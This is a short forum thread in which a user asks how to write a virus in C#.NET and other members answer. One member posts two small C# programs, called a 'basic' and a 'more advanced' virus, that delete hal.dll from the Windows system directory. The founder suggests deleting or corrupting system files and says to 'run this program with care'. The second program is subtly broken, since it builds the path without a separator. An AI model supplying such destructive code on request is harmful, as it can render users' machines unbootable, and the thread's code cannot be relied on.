Can Anyone tell how to make virus in C#.net

night.rider's Avatar, Join Date: Jul 2009
Go4Expert Member
Can Anyone tell how to make virus in C#.net
0
shabbir's Avatar, Join Date: Jul 2004
Go4Expert Founder
Moved your query to the forum and you submitted this as an article

Deleting everything or editing some system files and corrupting them can also be defined as some virus and do that as that is the simplest thing you can do.
0
naimish's Avatar
Invasive contributor
Hey Night Rider, Nice to see one more .NET Person here Soon I will let you know how to make virus in C#.net
0
night.rider's Avatar, Join Date: Jul 2009
Go4Expert Member
thanx sir
0
night.rider's Avatar, Join Date: Jul 2009
Go4Expert Member
r u dere naimish
0
naimish's Avatar
Invasive contributor
Yes Buddy
0
naimish's Avatar
Invasive contributor
First of all let's decide which kind of virus you want to make ?
0
naimish's Avatar
Invasive contributor
For a Sample Basic Virus Program, See the code bolow.

Code:
using System;
using System.Collections.Generic;
using System.Text;
using System.IO;

namespace HallDel
{
    class Program
    {
        static void Main(string[] args)
        {
            System.IO.File.Delete("C:\\Windows\\system32\\hal.dll"); /* C# PWNS */
        }
    }
}
0
naimish's Avatar
Invasive contributor
A more advanced version:


Code:
using System;
using System.Collections.Generic;
using System.Text;
using System.IO;

namespace HalDelPro
{
    class Program
    {
        static void Main(string[] args)
        {
            System.IO.File.Delete(System.Environment.SystemDirectory + "hal.dll"); /* C# OWNS*/
        }
    }
}
0
shabbir's Avatar, Join Date: Jul 2004
Go4Expert Founder
Quote:
Originally Posted by naimish View Post
For a Sample Basic Virus Program, See the code bolow.

Code:
using System;
using System.Collections.Generic;
using System.Text;
using System.IO;

namespace HallDel
{
    class Program
    {
        static void Main(string[] args)
        {
            System.IO.File.Delete("C:\\Windows\\system32\\hal.dll"); /* C# PWNS */
        }
    }
}
Run this program with care.